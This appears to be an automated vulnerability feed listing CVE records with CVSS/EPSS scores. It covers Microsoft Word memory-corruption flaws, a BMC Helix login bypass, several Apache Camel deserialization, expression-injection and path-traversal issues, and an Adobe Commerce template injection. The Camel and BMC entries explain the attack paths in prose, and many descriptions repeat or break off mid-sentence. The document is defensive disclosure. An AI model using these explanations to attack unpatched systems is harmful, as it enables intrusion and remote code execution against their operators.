Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108432).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108432&date=2026-10-25).
Sources:
NVD CVE-2026-108432: https://nvd.nist.gov/vuln/detail/CVE-2026-108432
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108432
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108432&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Reliance on untrusted inputs in a security decision in Microsoft Office Word allows an unauthorized attacker to bypass a security feature locally.
https://kevwire.com/record/CVE-2026-108433
Reliance on untrusted inputs in a security decision in Microsoft Office Word allows an unauthorized attacker to bypass a security feature locally. (Oct 15, 2026).
Reliance on untrusted inputs in a security decision in Microsoft Office Word allows an unauthorized attacker to bypass a security feature locally.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108433).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108433&date=2026-10-25).
Sources:
NVD CVE-2026-108433: https://nvd.nist.gov/vuln/detail/CVE-2026-108433
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108433
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108433&date=2026-10-25
Reliance on untrusted inputs in a security decision in Microsoft Office Word allows an unauthorized attacker to bypass a security feature locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108437
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108437).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108437&date=2026-10-25).
Sources:
NVD CVE-2026-108437: https://nvd.nist.gov/vuln/detail/CVE-2026-108437
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108437
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108437&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108439
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108439).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108439&date=2026-10-25).
Sources:
NVD CVE-2026-108439: https://nvd.nist.gov/vuln/detail/CVE-2026-108439
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108439
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108439&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108440
Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108440).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108440&date=2026-10-25).
Sources:
NVD CVE-2026-108440: https://nvd.nist.gov/vuln/detail/CVE-2026-108440
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108440
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108440&date=2026-10-25
Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108441
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108441).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108441&date=2026-10-25).
Sources:
NVD CVE-2026-108441: https://nvd.nist.gov/vuln/detail/CVE-2026-108441
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108441
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108441&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-108442
Use after free in Microsoft Office Word allows an unauthorized attacker to execute code over a network. (Oct 15, 2026).
Use after free in Microsoft Office Word allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108442).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108442&date=2026-10-25).
Sources:
NVD CVE-2026-108442: https://nvd.nist.gov/vuln/detail/CVE-2026-108442
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108442
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108442&date=2026-10-25
Use after free in Microsoft Office Word allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### BMC Helix Network Management on-prem 26.3.00 before 26.3.01 contains an authentication bypass vulnerability that allows unauthenticated attackers to log in as the local...
https://kevwire.com/record/CVE-2026-111283
BMC Helix Network Management on-prem 26.3.00 before 26.3.01 contains an authentication bypass vulnerability that allows unauthenticated attackers to log in as the local... (Oct 15, 2026).
BMC Helix Network Management on-prem 26.3.00 before 26.3.01 contains an authentication bypass vulnerability that allows unauthenticated attackers to log in as the local administrator with any password when SAML single sign-on is configured. Attackers can submit the administrator username with an arbitrary password on the web login page to obtain a SuperAdmin session, modify device credentials, run device commands, and alter audit records.
CVSS 9.5 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111283).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111283&date=2026-10-25).
Sources:
NVD CVE-2026-111283: https://nvd.nist.gov/vuln/detail/CVE-2026-111283
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111283&date=2026-10-25
BMC Helix Network Management on-prem 26.3.00 before 26.3.01 contains an authentication bypass vulnerability that allows unauthenticated attackers to log in as the local administrator with any password when SAML single sign-on is configured. Attackers can submit the administrator username with an arbitrary password on the web login page to obtain a SuperAdmin session, modify device credentials, run device commands, and alter audit records.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in Apache Camel Camel-Jgroups component.
https://kevwire.com/record/CVE-2026-88900
Deserialization of Untrusted Data vulnerability in Apache Camel Camel-Jgroups component. (Oct 19, 2026).
Deserialization of Untrusted Data vulnerability in Apache Camel Camel-Jgroups component.



This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.



JGroupsEndpoint.createExchange(Message), which CamelJGroupsReceiver calls for every message the jgroups consumer receives before the exchange is routed, set the exchange body from org.jgroups.Message.getObject(). For an ObjectMessage, which is the message type the Camel jgroups producer sends, JGroups Java-deserializes the payload through an ObjectInputStream on its own receive thread as the message arrives, and getObject() returns the resulting object. No java.io.ObjectInputFilter was applied on that path unless the deployment had set a JVM-wide serialization filter: camel-jgroups installed none, and the JGroups versions shipped with the affected releases apply none of their own, so any serializable class on the application classpath could be instantiated and its deserialization callbacks run. Unless a channel or the channelProperties option is configured, the consumer creates its channel with new JChannel(), the stock JGroups protocol stack, which multicasts over UDP without the AUTH protocol and without encryption, so any host able to reach the cluster's multicast group or bind port can join the cluster and send messages to the consumer without credentials. Such a host could send a crafted serialized object that leads to remote code execution in the Camel process when a usable deserialization gadget chain is present on the classpath, and no non-default option was required on the consumer. Because JGroups materializes the object before Camel's receiver runs, a check performed by Camel can only inspect the deserialized result and cannot stop code that runs during deserialization, so closing the issue also requires a control that applies before the payload is read, as described in the mitigation. Exploitation requires network access to the cluster's multicast group or bind port, which with the default UDP multicast transport means a host on an adjacent network, and a usable gadget chain on the classpath, which is why the severity is assessed as high rather than critical.



Users are
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88900).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88900&date=2026-10-25).
Sources:
NVD CVE-2026-88900: https://nvd.nist.gov/vuln/detail/CVE-2026-88900
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88900&date=2026-10-25
Deserialization of Untrusted Data vulnerability in Apache Camel Camel-Jgroups component.



This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.



JGroupsEndpoint.createExchange(Message), which CamelJGroupsReceiver calls for every message the jgroups consumer receives before the exchange is routed, set the exchange body from org.jgroups.Message.getObject(). For an ObjectMessage, which is the message type the Camel jgroups producer sends, JGroups Java-deserializes the payload through an ObjectInputStream on its own receive thread as the message arrives, and getObject() returns the resulting object. No java.io.ObjectInputFilter was applied on that path unless the deployment had set a JVM-wide serialization filter: camel-jgroups installed none, and the JGroups versions shipped with the affected releases apply none of their own, so any serializable class on the application classpath could be instantiated and its deserialization callbacks run. Unless a channel or the channelProperties option is configured, the consumer creates its channel with new JChannel(), the stock JGroups protocol stack, which multicasts over UDP without the AUTH protocol and without encryption, so any host able to reach the cluster's multicast group or bind port can join the cluster and send messages to the consumer without credentials. Such a host could send a crafted serialized object that leads to remote code execution in the Camel process when a usable deserialization gadget chain is present on the classpath, and no non-default option was required on the consumer. Because JGroups materializes the object before Camel's receiver runs, a check performed by Camel can only inspect the deserialized result and cannot stop code that runs during deserialization, so closing the issue also requires a control that applies before the payload is read, as described in the mitigation. Exploitation requires network access to the cluster's multicast group or bind port, which with the default UDP multicast transport means a host on an adjacent network, and a usable gadget chain on the classpath, which is why the severity is assessed as high rather than critical.



Users are recommended to upgrade to version 4.23.0, which fixes the issue. If users are on the 4.22.x releases stream, then they are suggested to upgrade to 4.22.1. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.5. The 4.14.x releases stream and earlier, and the 4.15.x to 4.17.x and 4.19.x to 4.21.x release lines, reached end of life before this issue was resolved and will not receive a fix, so deployments on those lines must move to a supported release.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Control of Generation of Code ('Code Injection'), Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')...
https://kevwire.com/record/CVE-2026-83531
Improper Control of Generation of Code ('Code Injection'), Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')... (Oct 19, 2026).
Improper Control of Generation of Code ('Code Injection'), Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') vulnerability in Apache Camel.



This issue affects Apache Camel: from 4.4.0 before 4.18.5, from 4.19.0 before 4.22.1.



The dynamic-router-control endpoint, introduced in 4.4.0, lets routing participants manage Dynamic Router subscriptions by sending control messages. When it handled a subscribe or update request, DynamicRouterControlProducer took the subscription predicate and the name of the language used to compile it from the incoming message, either from the predicate and expressionLanguage fields of a DynamicRouterControlMessage body or from the CamelDynamicRouterPredicate and CamelDynamicRouterExpressionLanguage headers. DynamicRouterControlService then resolved that language from the CamelContext and compiled the expression into a Predicate, with no allow-list and no opt-in. The compiled predicate was added to the channel's rule base and evaluated against every exchange routed through the corresponding dynamic-router endpoint for as long as the subscription existed. A route that forwards messages from an external transport to the control endpoint, as shown in the component documentation for routing participants in other JVMs or applications, therefore let any actor able to send a message on that transport supply an expression of their choosing, which was evaluated with the privileges of the Camel process. Any expression language available on the classpath could be selected, including the simple language, which is always present and was the default on the header path, so removing optional expression languages from the classpath did not prevent the issue. Exploitation requires the ability to send a message on a transport whose route forwards it to a dynamic-router-control endpoint; no other authentication or user interaction is needed. Releases before 4.4.0 are not affected, because their control channel took predicate expressions only from the endpoint URI configured by the route author.



Users are recommended to upgrade to version 4.23.0, which fixes the issue. If users are
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83531).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83531&date=2026-10-25).
Sources:
NVD CVE-2026-83531: https://nvd.nist.gov/vuln/detail/CVE-2026-83531
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83531&date=2026-10-25
Improper Control of Generation of Code ('Code Injection'), Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') vulnerability in Apache Camel.



This issue affects Apache Camel: from 4.4.0 before 4.18.5, from 4.19.0 before 4.22.1.



The dynamic-router-control endpoint, introduced in 4.4.0, lets routing participants manage Dynamic Router subscriptions by sending control messages. When it handled a subscribe or update request, DynamicRouterControlProducer took the subscription predicate and the name of the language used to compile it from the incoming message, either from the predicate and expressionLanguage fields of a DynamicRouterControlMessage body or from the CamelDynamicRouterPredicate and CamelDynamicRouterExpressionLanguage headers. DynamicRouterControlService then resolved that language from the CamelContext and compiled the expression into a Predicate, with no allow-list and no opt-in. The compiled predicate was added to the channel's rule base and evaluated against every exchange routed through the corresponding dynamic-router endpoint for as long as the subscription existed. A route that forwards messages from an external transport to the control endpoint, as shown in the component documentation for routing participants in other JVMs or applications, therefore let any actor able to send a message on that transport supply an expression of their choosing, which was evaluated with the privileges of the Camel process. Any expression language available on the classpath could be selected, including the simple language, which is always present and was the default on the header path, so removing optional expression languages from the classpath did not prevent the issue. Exploitation requires the ability to send a message on a transport whose route forwards it to a dynamic-router-control endpoint; no other authentication or user interaction is needed. Releases before 4.4.0 are not affected, because their control channel took predicate expressions only from the endpoint URI configured by the route author.



Users are recommended to upgrade to version 4.23.0, which fixes the issue. If users are on the 4.22.x releases stream, then they are suggested to upgrade to 4.22.1. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.5. The 4.14.x releases stream and earlier reached end of life before this issue was resolved and will not receive a fix, so deployments on those lines must move to a supported release. After upgrading, a control message that carries a predicate expression or an expression language is rejected unless the new allowPredicateFromMessage option is enabled on the dynamic-router-control endpoint; enable it only when every sender of control messages is trusted. For deployments that cannot upgrade immediately, do not forward messages from untrusted or shared transports to a dynamic-router-control endpoint. Where control messages must cross such a transport, authenticate the sender and make sure the predicate and expression language of each subscription are set by the route rather than taken from the incoming message, for example by removing the CamelDynamicRouterPredicate and CamelDynamicRouterExpressionLanguage headers and clearing the predicate and expressionLanguage fields of a DynamicRouterControlMessage before it reaches the endpoint. Removing optional expression languages from the classpath is not a sufficient workaround. As defence in depth, restrict who can send to the transports that feed the control endpoint, and on 4.23.0 and 4.22.1 set the allowedSchemes option of the dynamic-router endpoint to limit which endpoints a subscription's destinationUri may name.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel Azure Files component.
https://kevwire.com/record/CVE-2026-79986
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel Azure Files component. (Oct 19, 2026).
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel Azure Files component.



This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.



The Camel remote-file consumers poll a directory on a remote server and build the absolute remote path of each file by concatenating the configured directory with the file name reported in the server's directory listing. That concatenation (FtpUtils.absoluteFilePath and GenericFileConsumer) applied no lexical normalization and no check that the result stayed inside the directory being polled, and the resulting path became the operand for every subsequent remote operation on the file: retrieval (FtpOperations.retrieveFile / SftpOperations, reached from GenericFileConsumer where the retrieve name is taken verbatim from GenericFile.getAbsoluteFilePath), deletion when delete=true (GenericFileDeleteProcessStrategy), and renaming when move, preMove, moveFailed or readLock=rename is configured (GenericFileProcessStrategySupport and GenericFileRenameExclusiveReadLockStrategy). Neither isValidFile nor isMatched performed any containment check. A listing entry that is not a single path segment therefore resolved to a path outside the configured polling directory, causing Camel to read, delete or rename files outside it using the endpoint's own credentials. A listing name is not route-controlled data. It is supplied by the remote server, and the FTP control channel carries no integrity protection at all, so an on-path attacker can rewrite a LIST response without holding any credentials; a compromised, malicious or multi-tenant server, or a server backed by a virtual filesystem, can emit such a name directly. Retrieval is reachable in a default consumer configuration, since the remote consumers download every listed file; deletion and renaming additionally require one of the disposition options above, all of which are common. Escape from the directory Camel was configured to poll is unconditional, while escape from the server's own account boundary additionally depends on whether that server confines the account. The jailStartingDirectory option, which i
CVSS 7.4 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79986).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79986&date=2026-10-25).
Sources:
NVD CVE-2026-79986: https://nvd.nist.gov/vuln/detail/CVE-2026-79986
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79986&date=2026-10-25
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Camel Azure Files component.



This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.



The Camel remote-file consumers poll a directory on a remote server and build the absolute remote path of each file by concatenating the configured directory with the file name reported in the server's directory listing. That concatenation (FtpUtils.absoluteFilePath and GenericFileConsumer) applied no lexical normalization and no check that the result stayed inside the directory being polled, and the resulting path became the operand for every subsequent remote operation on the file: retrieval (FtpOperations.retrieveFile / SftpOperations, reached from GenericFileConsumer where the retrieve name is taken verbatim from GenericFile.getAbsoluteFilePath), deletion when delete=true (GenericFileDeleteProcessStrategy), and renaming when move, preMove, moveFailed or readLock=rename is configured (GenericFileProcessStrategySupport and GenericFileRenameExclusiveReadLockStrategy). Neither isValidFile nor isMatched performed any containment check. A listing entry that is not a single path segment therefore resolved to a path outside the configured polling directory, causing Camel to read, delete or rename files outside it using the endpoint's own credentials. A listing name is not route-controlled data. It is supplied by the remote server, and the FTP control channel carries no integrity protection at all, so an on-path attacker can rewrite a LIST response without holding any credentials; a compromised, malicious or multi-tenant server, or a server backed by a virtual filesystem, can emit such a name directly. Retrieval is reachable in a default consumer configuration, since the remote consumers download every listed file; deletion and renaming additionally require one of the disposition options above, all of which are common. Escape from the directory Camel was configured to poll is unconditional, while escape from the server's own account boundary additionally depends on whether that server confines the account. The jailStartingDirectory option, which is documented as restricting Camel to the starting directory and is enabled by default, governed producer writes and, since the localWorkDirectory containment work, consumer downloads to the local work directory - but it did not constrain this remote operand, so its name and description claimed a boundary that was not enforced here. The same entry point had already been recognised on the local side: the localWorkDirectory download path was constrained so that a remote file name containing parent-directory segments could not resolve outside the local work directory. The remote operand was the remaining half of that surface. This artifact provides the azure-files scheme. Its consumer derives from the same RemoteFileConsumer base class and composed the remote path through a plain concatenation helper, so it inherited the same unconstrained resolution. Reaching it requires a listing name that is not a single path segment, which the Azure Files REST service does not normally return; the exposure was corrected on the same basis as the other remote-file consumers rather than from a demonstrated proof of concept against this scheme.



Upgrade to Apache Camel 4.23.0, which fixes the issue. Users on the 4.22.x releases stream should upgrade to 4.22.1. Users on the 4.18.x LTS releases stream should upgrade to 4.18.5. The 4.14.x stream reached end of life and does not receive this fix; users on it should move to a supported releases stream.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in Apache Camel.
https://kevwire.com/record/CVE-2026-78162
Deserialization of Untrusted Data vulnerability in Apache Camel. (Oct 19, 2026).
Deserialization of Untrusted Data vulnerability in Apache Camel.



This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.



The camel-hazelcast component applies a default Hazelcast JavaSerializationFilterConfig to the instances it creates from its own configuration, a protection introduced by CVE-2026-43865. That change did not reach two of the configuration paths Camel builds itself, so those paths continued to create Hazelcast instances whose Java deserialization is unrestricted. ReplicatedHazelcastAggregationRepository extends HazelcastAggregationRepository but overrides doStart() without calling super.doStart(), keeping its own copy of the bootstrap block, and therefore never received the filter: a route using it without supplying a hazelcastInstance starts a Hazelcast member that deserializes values read from the backing ReplicatedMap with no class restriction. HazelcastDefaultComponent#getOrCreateHzClientInstance() builds its own ClientConfig when hazelcastMode=client is selected and neither a referenced ClientConfig nor hazelcastConfigUri is supplied, and likewise applied no filter, so client-mode endpoints behaved differently from node-mode endpoints for an otherwise identical configuration. In both cases an attacker able to publish into the Hazelcast cluster that the affected instance is attached to can cause a serialized Java object of their choosing to be deserialized inside Hazelcast's own serialization layer, before Camel processes the exchange, resulting in remote code execution. Hazelcast clusters have neither authentication nor TLS enabled by default. Selecting client mode is a topology choice rather than a security option, so neither path required the deployment to opt in to unsafe behaviour.



Users are recommended to upgrade to version 4.23.0, which fixes the issue. If users are on the 4.22.x releases stream, then they are suggested to upgrade to 4.22.1. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.5. The 4.14.x releases stream and earlier reached end of life before this issue was resolved and will not receive a fix, so deployments on those lines must move to a suppor
CVSS 10.0 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-78162).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-78162&date=2026-10-25).
Sources:
NVD CVE-2026-78162: https://nvd.nist.gov/vuln/detail/CVE-2026-78162
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-78162&date=2026-10-25
Deserialization of Untrusted Data vulnerability in Apache Camel.



This issue affects Apache Camel: from 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1.



The camel-hazelcast component applies a default Hazelcast JavaSerializationFilterConfig to the instances it creates from its own configuration, a protection introduced by CVE-2026-43865. That change did not reach two of the configuration paths Camel builds itself, so those paths continued to create Hazelcast instances whose Java deserialization is unrestricted. ReplicatedHazelcastAggregationRepository extends HazelcastAggregationRepository but overrides doStart() without calling super.doStart(), keeping its own copy of the bootstrap block, and therefore never received the filter: a route using it without supplying a hazelcastInstance starts a Hazelcast member that deserializes values read from the backing ReplicatedMap with no class restriction. HazelcastDefaultComponent#getOrCreateHzClientInstance() builds its own ClientConfig when hazelcastMode=client is selected and neither a referenced ClientConfig nor hazelcastConfigUri is supplied, and likewise applied no filter, so client-mode endpoints behaved differently from node-mode endpoints for an otherwise identical configuration. In both cases an attacker able to publish into the Hazelcast cluster that the affected instance is attached to can cause a serialized Java object of their choosing to be deserialized inside Hazelcast's own serialization layer, before Camel processes the exchange, resulting in remote code execution. Hazelcast clusters have neither authentication nor TLS enabled by default. Selecting client mode is a topology choice rather than a security option, so neither path required the deployment to opt in to unsafe behaviour.



Users are recommended to upgrade to version 4.23.0, which fixes the issue. If users are on the 4.22.x releases stream, then they are suggested to upgrade to 4.22.1. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.5. The 4.14.x releases stream and earlier reached end of life before this issue was resolved and will not receive a fix, so deployments on those lines must move to a supported release. For deployments that cannot upgrade immediately, supply an explicit Hazelcast configuration carrying a JavaSerializationFilterConfig, or inject a pre-built HazelcastInstance, since a user-supplied configuration is never overwritten by Camel. Alternatively set the JVM-wide filter -Djdk.serialFilter=!java.net.;java.;javax.;org.apache.camel.;!* and enable Hazelcast cluster authentication and TLS to restrict who can reach the cluster.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Commerce is affected by an Improper Neutralization of Special Elements Used in a Template Engine vulnerability that could result in arbitrary code execution in the context...
https://kevwire.com/record/CVE-2026-103849
Adobe Commerce is affected by an Improper Neutralization of Special Elements Used in a Template Engine vulnerability that could result in arbitrary code execution in the context... (Oct 13, 2026).
Adobe Commerce is affected by an Improper Neutralization of Special Elements Used in a Template Engine vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 10.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103849).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103849&date=2026-10-25).
Sources:
NVD CVE-2026-103849: https://nvd.nist.gov/vuln/detail/CVE-2026-103849
